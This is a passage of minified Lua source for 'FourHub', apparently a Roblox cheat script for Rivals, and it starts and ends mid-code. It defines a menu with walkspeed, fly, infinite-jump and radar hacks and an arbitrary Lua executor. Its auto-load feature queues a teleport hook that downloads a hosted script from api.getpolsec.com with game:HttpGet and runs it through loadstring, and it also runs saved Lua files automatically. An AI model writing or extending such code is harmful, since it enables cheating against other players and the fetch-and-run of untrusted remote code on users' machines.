arms[i]; local l = ch_lines[i]; local o = ch_line_outlines[i]; if c.lines and arm and c[arm[3]] then local f, t = arm[1], arm[2]; local fr = Vector2.new(f.X * cosv - f.Y * sinv, f.X * sinv + f.Y * cosv); local tr = Vector2.new(t.X * cosv - t.Y * sinv, t.X * sinv + t.Y * cosv); local from = anchor + fr; local to = anchor + tr; if c.outline then o.From = from; o.To = to; o.Color = c.outline_color; o.Thickness = thick + 2; o.Transparency = transparency; o.Visible = true; else o.Visible = false; end; l.From = from; l.To = to; l.Color = color; l.Thickness = thick; l.Transparency = transparency; l.Visible = true; else l.Visible = false; o.Visible = false; end; end; end; if c.dot or c.style == "dot" then local radius = math.max(thick, 1); if c.outline then ch_dot_outline.Position = anchor; ch_dot_outline.Color = c.outline_color; ch_dot_outline.Radius = radius + 1; ch_dot_outline.Transparency = transparency; ch_dot_outline.Visible = true; else ch_dot_outline.Visible = false; end; ch_dot.Position = anchor; ch_dot.Color = color; ch_dot.Radius = radius; ch_dot.Transparency = transparency; ch_dot.Visible = true; else ch_dot.Visible = false; ch_dot_outline.Visible = false; end; if c.text_enable and c.text_content ~= "" then local text_color = c.text_color; if c.text_animation then text_color = Color3.fromHSV((ch_clock * 0.15) % 1, 0.65, 1); end; ch_text.Text = c.text_content; ch_text.FontFace = ch_get_font(c.text_font); ch_text.TextSize = c.text_size; ch_text.TextColor3 = text_color; ch_text.TextStrokeTransparency = c.text_outline and 0 or 1; ch_text.Position = UDim2.fromOffset(anchor.X, anchor.Y + gap + length + c.text_offset); ch_text.Visible = true; else ch_text.Visible = false; end; end))); trove:Add(function() hide_crosshair(); for i = 1, 4 do pcall(function() ch_lines[i]:Remove() end); pcall(function() ch_line_outlines[i]:Remove() end); end; pcall(function() ch_ring:Remove() end); pcall(function() ch_ring_outline:Remove() end); pcall(function() ch_dot:Remove() end); pcall(function() ch_dot_outline:Remove() end); pcall(function() ch_text_gui:Destroy() end); end); local crosshair_box = crosshair_tab:AddTab("crosshair"); do crosshair_box:AddToggle("CrosshairEnable", { Text = "enabled", Default = false, Callback = function(v) cfg.crosshair.enable = v; end }):AddColorPicker("CrosshairColor", { Default = Color3.fromRGB(0, 255, 170), Callback = function(v) cfg.crosshair.color = v; end }); crosshair_box:AddDropdown("CrosshairStyle", { Text = "style", Default = "cross", Values = { "cross", "t", "x", "circle", "dot" }, Callback = function(v) cfg.crosshair.style = v; end }); crosshair_box:AddToggle("CrosshairLines", { Text = "lines", Default = true, Callback = function(v) cfg.crosshair.lines = v; end }); crosshair_box:AddSlider("CrosshairRotation", { Text = "rotation", Default = 0, Min = 0, Max = 360, Rounding = 0, Suffix = "°", Callback = function(v) cfg.crosshair.rotation = v; end }); crosshair_box:AddSlider("CrosshairLength", { Text = "length", Default = 6, Min = 0, Max = 40, Rounding = 0, Callback = function(v) cfg.crosshair.length = v; end }); crosshair_box:AddSlider("CrosshairThickness", { Text = "thickness", Default = 1, Min = 1, Max = 6, Rounding = 0, Callback = function(v) cfg.crosshair.thickness = v; end }); crosshair_box:AddSlider("CrosshairGap", { Text = "gap", Default = 3, Min = 0, Max = 20, Rounding = 0, Callback = function(v) cfg.crosshair.gap = v; end }); crosshair_box:AddToggle("CrosshairOutline", { Text = "outline", Default = false, Callback = function(v) cfg.crosshair.outline = v; end }):AddColorPicker("CrosshairOutlineColor", { Default = Color3.fromRGB(0, 0, 0), Callback = function(v) cfg.crosshair.outline_color = v; end }); crosshair_box:AddToggle("CrosshairTopLine", { Text = "top line", Default = true, Callback = function(v) cfg.crosshair.top_line = v; end }); crosshair_box:AddToggle("CrosshairBottomLine", { Text = "bottom line", Default = true, Callback = function(v) cfg.crosshair.bottom_line = v; end }); end; local lines_box = crosshair_tab:AddTab("lines"); do lines_box:AddToggle("CrosshairDot", { Text = "center dot", Default = false, Callback = function(v) cfg.crosshair.dot = v; end }); lines_box:AddToggle("CrosshairLineOutline", { Text = "outline", Default = false, Callback = function(v) cfg.crosshair.outline = v; end }); lines_box:AddToggle("CrosshairTop", { Text = "top line", Default = true, Callback = function(v) cfg.crosshair.top_line = v; end }); lines_box:AddToggle("CrosshairBottom", { Text = "bottom line", Default = true, Callback = function(v) cfg.crosshair.bottom_line = v; end }); lines_box:AddToggle("CrosshairLeft", { Text = "left line", Default = true, Callback = function(v) cfg.crosshair.left_line = v; end }); lines_box:AddToggle("CrosshairRight", { Text = "right line", Default = true, Callback = function(v) cfg.crosshair.right_line = v; end }); end; local effects_box = crosshair_tab:AddTab("effects"); do effects_box:AddToggle("CrosshairRotating", { Text = "rotating", Default = false, Callback = function(v) cfg.crosshair.rotating = v; end }); effects_box:AddSlider("CrosshairRotatingSpeed", { Text = "speed", Default = 120, Min = 0, Max = 720, Rounding = 0, Suffix = "°/s", Callback = function(v) cfg.crosshair.rotating_speed = v; end }); effects_box:AddToggle("CrosshairSpread", { Text = "spread", Default = false, Callback = function(v) cfg.crosshair.spread = v; end }); effects_box:AddSlider("CrosshairSpreadScale", { Text = "spread scale", Default = 1, Min = 0, Max = 4, Rounding = 2, Callback = function(v) cfg.crosshair.spread_scale = v; end }); effects_box:AddToggle("CrosshairAnimation", { Text = "animation", Default = false, Callback = function(v) cfg.crosshair.animation = v; end }); effects_box:AddDropdown("CrosshairAnimationMode", { Text = "mode", Default = "pulse", Values = { "pulse", "breathe" }, Callback = function(v) cfg.crosshair.animation_mode = v; end }); effects_box:AddSlider("CrosshairAnimationSpeed", { Text = "speed", Default = 3, Min = 0.1, Max = 12, Rounding = 1, Callback = function(v) cfg.crosshair.animation_speed = v; end }); effects_box:AddToggle("CrosshairFade", { Text = "fade color", Default = false, Callback = function(v) cfg.crosshair.fade = v; end }):AddColorPicker("CrosshairFadeColor", { Default = Color3.fromRGB(255, 0, 170), Callback = function(v) cfg.crosshair.fade_color = v; end }); effects_box:AddToggle("CrosshairFollowTarget", { Text = "follow target", Default = false, Callback = function(v) cfg.crosshair.follow_target = v; end }); effects_box:AddDropdown("CrosshairFollowSource", { Text = "follow source", Default = "target", Values = { "target", "gunpoint" }, Callback = function(v) cfg.crosshair.follow_source = v; end }); effects_box:AddToggle("CrosshairShimmer", { Text = "shimmer", Default = false, Callback = function(v) cfg.crosshair.shimmer = v; end }); effects_box:AddSlider("CrosshairShimmerSpeed", { Text = "shimmer speed", Default = 4, Min = 0.1, Max = 12, Rounding = 1, Callback = function(v) cfg.crosshair.shimmer_speed = v; end }); end; local text_box = crosshair_tab:AddTab("text"); do text_box:AddToggle("CrosshairTextEnable", { Text = "enabled", Default = false, Callback = function(v) cfg.crosshair.text_enable = v; end }):AddColorPicker("CrosshairTextColor", { Default = Color3.fromRGB(255, 255, 255), Callback = function(v) cfg.crosshair.text_color = v; end }); text_box:AddInput("CrosshairTextContent", { Text = "content", Default = "FourHub", ClearTextOnFocus = false, Callback = function(v) cfg.crosshair.text_content = v; end }); text_box:AddDropdown("CrosshairTextFont", { Text = "font", Default = "Plex", Values = { "UI", "System", "Plex", "Monospace", "Inconsolata" }, Callback = function(v) cfg.crosshair.text_font = v; end }); text_box:AddSlider("CrosshairTextSize", { Text = "size", Default = 16, Min = 8, Max = 48, Rounding = 0, Callback = function(v) cfg.crosshair.text_size = v; end }); text_box:AddSlider("CrosshairTextOffset", { Text = "offset", Default = 18, Min = 0, Max = 120, Rounding = 0, Callback = function(v) cfg.crosshair.text_offset = v; end }); text_box:AddToggle("CrosshairTextOutline", { Text = "outline", Default = true, Callback = function(v) cfg.crosshair.text_outline = v; end }); text_box:AddToggle("CrosshairTextAnimation", { Text = "animation", Default = false, Callback = function(v) cfg.crosshair.text_animation = v; end }); end; end)(); local character_tab = Tabs.character_tab; do local movement_tab = Tabs.character_tab:AddRightGroupbox('movement'); do keybind_slide_boost_enable = false; keybind_infinite_double_jump_enable = false; keybind_walkspeed_enable = false; movement_tab:AddToggle('walkspeed_enable', { Text = 'walkspeed', Default = false, Callback = function(v) keybind_walkspeed_enable = v; ELI.walkspeed.enable = v; end; }):AddKeyPicker('walkspeed_keybind', { Default = '', Text = 'walkspeed', NoUI = false, EnableCheck = function() return ELI.walkspeed.enable; end, Callback = function(v) ELI.walkspeed.enable = keybind_walkspeed_enable and v or false; end; }); movement_tab:AddSlider('walkspeed_multiplier', { Text = 'multiplier', Default = 1.5, Min = 1, Max = 10, Rounding = 2, Suffix = 'x', Callback = function(v) ELI.walkspeed.multiplier = v; end; }); movement_tab:AddToggle('infinite_double_jump_enable', { Text = 'infinite double jump', Default = false, Callback = function(v) keybind_infinite_double_jump_enable = v; ELI.infinite_double_jump.enable = v; end; }):AddKeyPicker('infinite_double_jump_keybind', { Default = '', Text = 'infinite double jump', NoUI = false, EnableCheck = function() return ELI.infinite_double_jump.enable; end, Callback = function(v) ELI.infinite_double_jump.enable = keybind_infinite_double_jump_enable and v or false; end; }); movement_tab:AddToggle('slide_boost_enable', { Text = 'slide boost', Default = false, Callback = function(v) keybind_slide_boost_enable = v; ELI.slide_boost.enable = v; end; }):AddKeyPicker('slide_boost_keybind', { Default = '', Text = 'slide boost', NoUI = false, EnableCheck = function() return ELI.slide_boost.enable; end, Callback = function(v) ELI.slide_boost.enable = keybind_slide_boost_enable and v or false; end; }); movement_tab:AddToggle('double_jump_height_enable', { Text = 'double jump height', Default = false, Callback = function(v) ELI.double_jump_height.enable = v; if not v then mechanics_controller._original_jump_power = old_jump_fist; end; end; }); movement_tab:AddSlider('slide_boost_spped', { Text = 'height', Default = 50, Min = 1, Max = 150, Rounding = 1, Callback = function(v) ELI.double_jump_height.height = v; end; }); movement_tab:AddToggle('auto_slide_enable', { Text = 'auto slide', Default = false, Callback = function(v) ELI.auto_slide.enable = v; end; }); end; end; local character_tab1 = Tabs.character_tab:AddLeftGroupbox('character'); character_tab1:AddToggle('fly_enable', { Text = 'fly', Default = false, Callback = function(v) keybind_fly_enable = v; ELI.fly.enable = v; end; }):AddKeyPicker('fly_keybind', { Default = '', Text = 'fly', NoUI = false, EnableCheck = function() return ELI.fly.enable; end, Callback = function(v) ELI.fly.enable = keybind_fly_enable and v or false; end; }); character_tab1:AddSlider('fly_speed_value', { Text = 'fly speed', Default = 50, Min = 10, Max = 200, Rounding = 1, Callback = function(v) ELI.fly.speed = v; end; }); character_tab1:AddToggle('slide_boost_enable', { Text = 'slide boost', Default = false, Callback = function(v) keybind_slide_boost_enable = v; ELI.slide_boost.enable = v; end; }):AddKeyPicker('slide_boost_keybind', { Default = '', Text = 'slide boost', NoUI = false, EnableCheck = function() return ELI.slide_boost.enable; end, Callback = function(v) ELI.slide_boost.enable = keybind_slide_boost_enable and v or false; end; }); character_tab1:AddSlider('slide_boost_spped', { Text = 'speed', Default = 60, Min = 1, Max = 100, Rounding = 0, Callback = function(v) ELI.slide_boost.speed = v; end; }); local anim_tab = Tabs.character_tab:AddLeftGroupbox('emote player'); do anim_tab:AddToggle('animation_enable', { Text = 'enable', Default = false, Callback = function(v) ELI.animation.enable = v; end }); anim_tab:AddDropdown('animation_droadsa', { Text = 'emote', Values = {'Meditate','Orbit','Floss','OJ','Kicking Feet','Take the L','Hype',}, Default = 1, Callback = function(v) ELI.animation.select_animation = v; end }); anim_tab:AddInput('animation_custom_id', { Text = 'custom id', Default = '', Placeholder = 'id..', Callback = function(v) ELI.animation.custom_id = v; end }); anim_tab:AddSlider('animation_speed', { Text = 'speed', Default = 2, Min = 0.1, Max = 10, Rounding = 1, Callback = function(v) ELI.animation.speed = v; end }); end; local animasdads; local anim_last_id = ""; local anim_last_speed = 0; local function stopCustomAnimation() if animasdads then pcall(function() animasdads:Stop() end); animasdads = nil; end; anim_last_id = ""; end; run_service.Heartbeat:Connect(LPH_NO_VIRTUALIZE(function() local ok = pcall(function() if not ELI.animation.enable then stopCustomAnimation(); return; end; local character = local_player.Character; if not character then stopCustomAnimation(); return; end; local humanoid = character:FindFirstChildOfClass("Humanoid"); if not humanoid then stopCustomAnimation(); return; end; local animator = humanoid:FindFirstChildOfClass("Animator"); if not animator then stopCustomAnimation(); return; end; if animasdads and not animasdads.IsPlaying then animasdads = nil; anim_last_id = ""; end; local id = theanimationsd[ELI.animation.select_animation]; if not id then return; end; local speed = ELI.animation.speed; if id ~= anim_last_id then if animasdads then pcall(function() animasdads:Stop() end); animasdads = nil; end; anim_last_id = id; local anim; local okObjects, objects = pcall(function() return game:GetObjects("rbxassetid://" .. id); end); if okObjects and objects and objects[1] then anim = objects[1]; else anim = Instance.new("Animation"); anim.AnimationId = "rbxassetid://" .. id; end; local okLoad, track = pcall(function() return animator:LoadAnimation(anim); end); if not okLoad or not track then anim_last_id = ""; return; end; animasdads = track; pcall(function() animasdads.Priority = Enum.AnimationPriority.Action4; animasdads:Play(); animasdads:AdjustSpeed(speed); end); anim_last_speed = speed; end; if animasdads and speed ~= anim_last_speed then pcall(function() animasdads:AdjustSpeed(speed) end); anim_last_speed = speed; end; end); if not ok then anim_last_id = ""; end; end)); local settings_tab = Tabs['UI Settings']; do local menu = Tabs['UI Settings']:AddLeftGroupbox('menu'); do menu:AddLabel("menu bind"):AddKeyPicker("MenuKeybind", { Default = "RightShift"; NoUI = true; Text = "menu keybind"; }); if Options.MenuKeybind then Library.ToggleKeybind = Options.MenuKeybind; Library.MenuBindPickers = Library.MenuBindPickers or {}; table.insert(Library.MenuBindPickers, Options.MenuKeybind); end; menu:AddToggle('menu_blur', { Text = 'blur effect', Default = true, Callback = function(v) Toggles.MenuBlurToggle = Toggles.MenuBlurToggle or { Value = v }; Toggles.MenuBlurToggle.Value = v; pcall(function() Library:UpdateMenuBlur() end); end; }); menu:AddToggle('show_keybind_menu', { Text = 'show keybind menu', Default = true, Callback = function(v) if Library.KeybindOverlay and Library.KeybindOverlay.SetVisible then Library.KeybindOverlay:SetVisible(v); elseif Library.KeybindOverlay and Library.KeybindOverlay.Outer then Library.KeybindOverlay.Outer.Visible = v; end; end }); menu:AddButton('unload', function() Library:Unload(); end); end; local autoload = Tabs['UI Settings']:AddLeftGroupbox('auto load') do autoload:AddToggle('auto_load_enable', { Text = 'enable', Default = false, Callback = function(v) getgenv().auto_load_enable = v; if v then if clearteleportqueue then clearteleportqueue(); elseif clear_teleport_queue then clear_teleport_queue(); end; if getgenv().silent_load then queueonteleport([[ repeat task.wait() until game:IsLoaded() getgenv().silent_load = true print("loading") script_key = "trial" loadstring(game:HttpGet("https://api.getpolsec.com/scripts/hosted/62a222f303b5c060e8d0a1b93ef272594f00e3a0ec3a1ab1890381cbdbb607f9.lua", true))() ]]); else queueonteleport([[ repeat task.wait() until game:IsLoaded() getgenv().silent_load = false print("loading") script_key = "trial" loadstring(game:HttpGet("https://api.getpolsec.com/scripts/hosted/62a222f303b5c060e8d0a1b93ef272594f00e3a0ec3a1ab1890381cbdbb607f9.lua", true))() ]]); end; else getgenv().silent_load = false; if Toggles and Toggles.silent_load_enable then Toggles.silent_load_enable:SetValue(false); end; if clearteleportqueue then clearteleportqueue(); elseif clear_teleport_queue then clear_teleport_queue(); end; end; end; }); autoload:AddToggle('silent_load_enable', { Text = 'silent load', Default = false, Callback = function(v) if not getgenv().auto_load_enable then getgenv().silent_load = false; if v and Toggles and Toggles.silent_load_enable then Toggles.silent_load_enable:SetValue(false); end; return end; getgenv().silent_load = v; if clearteleportqueue then clearteleportqueue(); elseif clear_teleport_queue then clear_teleport_queue(); end; if v then queueonteleport([[ repeat task.wait() until game:IsLoaded() getgenv().silent_load = true print("loading") script_key = "trial" loadstring(game:HttpGet("https://api.getpolsec.com/scripts/hosted/62a222f303b5c060e8d0a1b93ef272594f00e3a0ec3a1ab1890381cbdbb607f9.lua", true))() ]]); else queueonteleport([[ repeat task.wait() until game:IsLoaded() getgenv().silent_load = false print("loading") script_key = "trial" loadstring(game:HttpGet("https://api.getpolsec.com/scripts/hosted/62a222f303b5c060e8d0a1b93ef272594f00e3a0ec3a1ab1890381cbdbb607f9.lua", true))() ]]); end; end; }); end; pcall(function() if getgenv().auto_load_enable and queueonteleport then if clearteleportqueue then pcall(clearteleportqueue); elseif clear_teleport_queue then pcall(clear_teleport_queue); end; local silent = getgenv().silent_load and "true" or "false"; queueonteleport([[ repeat task.wait() until game:IsLoaded() getgenv().silent_load = ]] .. silent .. [[ getgenv().auto_load_enable = true script_key = "trial" for _attempt = 1, 6 do local _ok, _src = pcall(function() return game:HttpGet("https://api.getpolsec.com/scripts/hosted/62a222f303b5c060e8d0a1b93ef272594f00e3a0ec3a1ab1890381cbdbb607f9.lua", true) end) if _ok and type(_src) == "string" and #_src > 0 then local _fn = loadstring(_src) if _fn then _fn() break end end task.wait(_attempt * 2) end ]]); end; end) do ELI.notifications = ELI.notifications or { force_color = false, color = Color3.fromRGB(96, 132, 220), side = "Bottom", alignment = "Center", transparency = 0, x = 50, y = 90, }; local NConfig = ELI.notifications; local function GetNotifyArea() return Library.NotificationArea; end; local function ApplyNotifySettings() if NConfig.side == "Left" then Library.NotifySide = "Left"; elseif NConfig.side == "Right" then Library.NotifySide = "Right"; else Library.NotifySide = "Bottom"; end; local Area = GetNotifyArea(); if not Area then return end; local AlignMap = { Left = Enum.HorizontalAlignment.Left, Center = Enum.HorizontalAlignment.Center, Right = Enum.HorizontalAlignment.Right, }; local X = math.clamp((NConfig.x or 50) / 100, 0, 1); local Y = math.clamp((NConfig.y or 90) / 100, 0, 1); if NConfig.side == "Top" then Area.AnchorPoint = Vector2.new(0.5, 0); elseif NConfig.side == "Left" then Area.AnchorPoint = Vector2.new(0, 0.5); elseif NConfig.side == "Right" then Area.AnchorPoint = Vector2.new(1, 0.5); else Area.AnchorPoint = Vector2.new(0.5, 1); end; Area.Position = UDim2.fromScale(X, Y); local Layout = Area:FindFirstChildOfClass("UIListLayout"); if Layout then Layout.HorizontalAlignment = AlignMap[NConfig.alignment] or Enum.HorizontalAlignment.Center; Layout.VerticalAlignment = (NConfig.side == "Top") and Enum.VerticalAlignment.Top or Enum.VerticalAlignment.Bottom; end; end; local function StyleNotification() local Area = GetNotifyArea(); if not Area then return end; for _, Outer in eli_ipairs(Area:GetChildren()) do if Outer:IsA("GuiObject") and not Outer:GetAttribute("FourHubStyled") then Outer:SetAttribute("FourHubStyled", true); if NConfig.force_color and NConfig.color then for _, Child in eli_ipairs(Outer:GetDescendants()) do if Child:IsA("Frame") then local Reg = Library.RegistryMap[Child]; if Reg and Reg.Properties and Reg.Properties.BackgroundColor3 == "AccentColor" then Library:RemoveFromRegistry(Child); Child.BackgroundColor3 = NConfig.color; end; end; end; end; local Visible = 1 - math.clamp((NConfig.transparency or 0) / 100, 0, 1); if Visible < 1 then local function Fade(Object) if Object:IsA("GuiObject") and Object.BackgroundTransparency < 1 then Object.BackgroundTransparency = 1 - (1 - Object.BackgroundTransparency) * Visible; end; end; Fade(Outer); for _, Object in eli_ipairs(Outer:GetDescendants()) do Fade(Object); end; end; end; end; end; if not Library.__FourHubNotifyHooked then Library.__FourHubNotifyHooked = true; Library.__FourHubOldNotify = Library.Notify; function Library:Notify(...) if getgenv().silent_load then return setmetatable({}, { __index = function() return function() end; end, }); end; ApplyNotifySettings(); local Data = Library.__FourHubOldNotify(self, ...); task.defer(StyleNotification); return Data; end; end; ApplyNotifySettings(); end do local NConfig = ELI.notifications; local function ApplyNotifySettings() if NConfig.side == "Left" then Library.NotifySide = "Left"; elseif NConfig.side == "Right" then Library.NotifySide = "Right"; else Library.NotifySide = "Bottom"; end; local Area = Library.NotificationArea; if not Area then return end; local AlignMap = { Left = Enum.HorizontalAlignment.Left, Center = Enum.HorizontalAlignment.Center, Right = Enum.HorizontalAlignment.Right, }; local X = math.clamp((NConfig.x or 50) / 100, 0, 1); local Y = math.clamp((NConfig.y or 90) / 100, 0, 1); if NConfig.side == "Top" then Area.AnchorPoint = Vector2.new(0.5, 0); elseif NConfig.side == "Left" then Area.AnchorPoint = Vector2.new(0, 0.5); elseif NConfig.side == "Right" then Area.AnchorPoint = Vector2.new(1, 0.5); else Area.AnchorPoint = Vector2.new(0.5, 1); end; Area.Position = UDim2.fromScale(X, Y); local Layout = Area:FindFirstChildOfClass("UIListLayout"); if Layout then Layout.HorizontalAlignment = AlignMap[NConfig.alignment] or Enum.HorizontalAlignment.Center; Layout.VerticalAlignment = (NConfig.side == "Top") and Enum.VerticalAlignment.Top or Enum.VerticalAlignment.Bottom; end; end do local notifications = Tabs['UI Settings']:AddRightGroupbox('notifications'); notifications:AddToggle('notify_force_color', { Text = 'force color', Default = false, Callback = function(v) NConfig.force_color = v; end, }):AddColorPicker('notify_color', { Default = NConfig.color, Title = 'notification color', Callback = function(Color) NConfig.color = Color; end, }); notifications:AddSlider('notify_x', { Text = 'position x', Default = NConfig.x, Min = 0, Max = 100, Rounding = 0, Suffix = '%', Callback = function(v) NConfig.x = v; ApplyNotifySettings(); end, }); notifications:AddSlider('notify_y', { Text = 'position y', Default = NConfig.y, Min = 0, Max = 100, Rounding = 0, Suffix = '%', Callback = function(v) NConfig.y = v; ApplyNotifySettings(); end, }); notifications:AddSlider('notify_transparency', { Text = 'transparency', Default = NConfig.transparency, Min = 0, Max = 100, Rounding = 0, Suffix = '%', Callback = function(v) NConfig.transparency = v; end, }); notifications:AddDropdown('notify_alignment', { Text = 'alignment', Values = { 'Left', 'Center', 'Right' }, Default = NConfig.alignment, Callback = function(v) NConfig.alignment = v; ApplyNotifySettings(); end, }); notifications:AddDropdown('notify_side', { Text = 'position', Values = { 'Top', 'Bottom', 'Left', 'Right' }, Default = NConfig.side, Callback = function(v) NConfig.side = v; ApplyNotifySettings(); end, }); notifications:AddButton('send notification', function() Library:Notify('This is a test notification.', 5); end); ApplyNotifySettings(); end; end; Library.ToggleKeybind = Options.MenuKeybind; ThemeManager:SetLibrary(Library); SaveManager:SetLibrary(Library); SaveManager:IgnoreThemeSettings(); SaveManager:SetIgnoreIndexes({ 'MenuKeybind' }); ThemeManager:SetFolder('FourHub'); SaveManager:SetFolder('FourHub/rivals'); SaveManager:BuildConfigSection(Tabs['UI Settings']) ;(function() local lua_tab = Tabs.lua; local base_folder = SaveManager.Folder or 'FourHub/rivals'; local lua_folder = base_folder .. '/luas'; pcall(function() if makefolder and isfolder then if not isfolder(base_folder) then makefolder(base_folder) end; if not isfolder(lua_folder) then makefolder(lua_folder) end; end; end); local function listLuas() local out = {}; local ok, list = pcall(listfiles, lua_folder); if ok and type(list) == 'table' then for i = 1, #list do local f = list[i]; if f:sub(-4) == '.lua' or f:sub(-4) == '.txt' then local name = (f:gsub('%.lua$', ''):gsub('%.txt$', '')):match('([^/\\]+)$'); if name and name ~= '' and name ~= 'autoload' then out[#out + 1] = name end; end; end; end; return out; end; local function pathFor(name) local p = lua_folder .. '/' .. name .. '.lua'; if isfile and isfile(p) then return p end; p = lua_folder .. '/' .. name .. '.txt'; if isfile and isfile(p) then return p end; return nil; end; local function runCode(code) if not code or code:gsub('%s', '') == '' then return Library:Notify('nothing to execute', 2); end; local fn, err = loadstring(code); if not fn then return Library:Notify('compile error: ' .. tostring(err), 6); end; task.spawn(function() local ok, rerr = pcall(fn); if not ok then Library:Notify('runtime error: ' .. tostring(rerr), 6); else Library:Notify('executed', 2); end; end); end; local exec_box = lua_tab:AddLeftGroupbox('executor'); local editor = Library:Create('TextBox', { Size = UDim2.new(1, -4, 0, 210), BackgroundColor3 = Library.BackgroundColor or Color3.fromRGB(20, 20, 20), BorderColor3 = Library.OutlineColor or Color3.fromRGB(40, 40, 40), BorderSizePixel = 1, TextColor3 = Library.FontColor or Color3.new(1, 1, 1), TextSize = 13, Font = Enum.Font.Code, Text = '', PlaceholderText = '-- write or paste your lua here', PlaceholderColor3 = Color3.fromRGB(120, 120, 120), MultiLine = true, ClearTextOnFocus = false, TextXAlignment = Enum.TextXAlignment.Left, TextYAlignment = Enum.TextYAlignment.Top, TextWrapped = true, ZIndex = 5, Parent = exec_box.Container, }); local ipad = Instance.new('UIPadding', editor); ipad.PaddingLeft = UDim.new(0, 6); ipad.PaddingTop = UDim.new(0, 4); pcall(function() exec_box:Resize() end); local display = Instance.new('TextLabel'); display.BackgroundTransparency = 1; display.Size = UDim2.new(1, 0, 1, 0); display.Font = editor.Font; display.TextSize = editor.TextSize; display.TextColor3 = editor.TextColor3; display.TextXAlignment = Enum.TextXAlignment.Left; display.TextYAlignment = Enum.TextYAlignment.Top; display.TextWrapped = true; display.Text = ''; display.ZIndex = 6; display.Visible = false; display.Parent = editor; local savedCode = ''; local function showMirror() if savedCode ~= '' then display.Text = savedCode; display.Visible = true; editor.TextTransparency = 1; else display.Visible = false; editor.TextTransparency = 0; end; end; local function hideMirror() display.Visible = false; editor.TextTransparency = 0; end; editor.Focused:Connect(function() if savedCode ~= '' and editor.Text == '' then editor.Text = savedCode end; hideMirror(); end); editor.FocusLost:Connect(function() if editor.Text ~= '' then savedCode = editor.Text end; showMirror(); end); editor:GetPropertyChangedSignal('Text'):Connect(function() if editor.Text ~= '' then savedCode = editor.Text end; if not editor:IsFocused() then showMirror() end; end); local function setCode(t) savedCode = t or ''; editor.Text = savedCode; if editor:IsFocused() then hideMirror() else showMirror() end; end; showMirror(); exec_box:AddButton('execute', function() runCode(editor.Text) end); exec_box:AddButton('clear', function() setCode('') end); local cfg_box = lua_tab:AddRightGroupbox('lua configs'); cfg_box:AddInput('lua_name', { Text = 'lua name', Placeholder = 'my script' }); cfg_box:AddDropdown('lua_list', { Text = 'saved luas', Values = listLuas(), AllowNull = true }); local function refreshLuas() Options.lua_list:SetValues(listLuas()); Options.lua_list:SetValue(nil); end; local LuaAutoloadLabel; cfg_box:AddButton('save lua', function() local name = Options.lua_name and Options.lua_name.Value or ''; if name:gsub('%s', '') == '' then return Library:Notify('enter a lua name', 2) end; if not writefile then return Library:Notify('no writefile support', 3) end; pcall(function() writefile(lua_folder .. '/' .. name .. '.lua', editor.Text) end); Library:Notify('saved lua ' .. name, 3); refreshLuas(); end); cfg_box:AddButton('load lua', function() local name = Options.lua_list and Options.lua_list.Value; if not name then return Library:Notify('no lua selected', 2) end; local p = pathFor(name); if p then setCode(readfile(p)); Library:Notify('loaded ' .. name, 2); else Library:Notify('file not found', 3) end; end); cfg_box:AddButton('execute lua', function() local name = Options.lua_list and Options.lua_list.Value; if not name then return Library:Notify('no lua selected', 2) end; local p = pathFor(name); if p then runCode(readfile(p)) else Library:Notify('file not found', 3) end; end); cfg_box:AddButton('delete lua', function() local name = Options.lua_list and Options.lua_list.Value; if not name then return Library:Notify('no lua selected', 2) end; pcall(delfile, lua_folder .. '/' .. name .. '.lua'); pcall(delfile, lua_folder .. '/' .. name .. '.txt'); Library:Notify('deleted ' .. name, 2); refreshLuas(); end); cfg_box:AddButton('refresh list', refreshLuas); cfg_box:AddButton('set as autoload', function() local name = Options.lua_list and Options.lua_list.Value; if not name then return Library:Notify('no lua selected', 2) end; pcall(function() writefile(lua_folder .. '/autoload.txt', name) end); if LuaAutoloadLabel then LuaAutoloadLabel:SetText('autoload lua: ' .. name) end; Library:Notify('set autoload lua ' .. name, 3); end); cfg_box:AddButton('clear autoload', function() pcall(delfile, lua_folder .. '/autoload.txt'); if LuaAutoloadLabel then LuaAutoloadLabel:SetText('autoload lua: none') end; Library:Notify('cleared lua autoload', 2); end); LuaAutoloadLabel = cfg_box:AddLabel('autoload lua: none', true); pcall(function() if isfile and isfile(lua_folder .. '/autoload.txt') then local n = readfile(lua_folder .. '/autoload.txt'); if n and n ~= '' then LuaAutoloadLabel:SetText('autoload lua: ' .. n) end; end; end); task.spawn(function() pcall(function() if isfile and isfile(lua_folder .. '/autoload.txt') then local n = readfile(lua_folder .. '/autoload.txt'); local p = n and n ~= '' and pathFor(n); if p then local fn = loadstring(readfile(p)); if fn then pcall(fn) end; end; end; end); end); end)() ;(function() local BRAND_ACCENT = Color3.fromHex('001EFF'); local function detach(overlay) if not overlay or not Library.Overlays then return end; for i = #Library.Overlays, 1, -1 do if Library.Overlays[i] == overlay then table.remove(Library.Overlays, i); end; end; end; local function makeWidget(factory, cfg) local ok, overlay = pcall(factory, Library, cfg or { Visible = false }); if not ok or type(overlay) ~= 'table' then return nil end; detach(overlay); return overlay; end; local function setWidgetVisible(overlay, v) if not overlay then return end; if overlay.SetVisible then pcall(function() overlay:SetVisible(v) end); elseif overlay.Outer then overlay.Outer.Visible = v; overlay.Visible = v; end; pcall(function() Library:UpdateOverlayGlow(overlay) end); end; local RadarWidget = makeWidget(Library.CreateRadarOverlay, { Visible = false }); local PlayerWidget = makeWidget(Library.CreatePlayerListOverlay, { Visible = false, Position = UDim2.fromOffset(230, 40) }); local VelocityWidget = makeWidget(Library.CreateVelocityGraphOverlay, { Visible = false }); local KeybindWidget = makeWidget(Library.CreateKeybindsOverlay, { Visible = false }); local TargetWidget = makeWidget(Library.CreateClosestPlayerOverlay, { Visible = false }); local AppearanceWidget; pcall(function() AppearanceWidget = ThemeManager:BuildAppearanceOverlay({ Visible = false }); detach(AppearanceWidget); end); getgenv().FourHub_widgets = { Radar = RadarWidget, PlayerList = PlayerWidget, Velocity = VelocityWidget, Keybind = KeybindWidget, ClosestPlayer = TargetWidget, Appearance = AppearanceWidget, Watermark = Library.Watermark and { Outer = Library.Watermark } or nil, }; pcall(function() local box = Tabs['UI Settings']:AddLeftGroupbox('widgets'); box:AddToggle('WidgetWatermark', { Text = 'watermark'; Default = true; Callback = function(v) pcall(function() Library:SetWatermarkVisibility(v) end) end; }); box:AddToggle('WidgetAppearance', { Text = 'appearance'; Default = true; Callback = function(v) setWidgetVisible(AppearanceWidget, v) end; }); box:AddToggle('WidgetRadar', { Text = 'radar'; Default = false; Callback = function(v) setWidgetVisible(RadarWidget, v) end; }); box:AddToggle('WidgetPlayerList', { Text = 'player list'; Default = false; Callback = function(v) setWidgetVisible(PlayerWidget, v) end; }); box:AddToggle('WidgetVelocity', { Text = 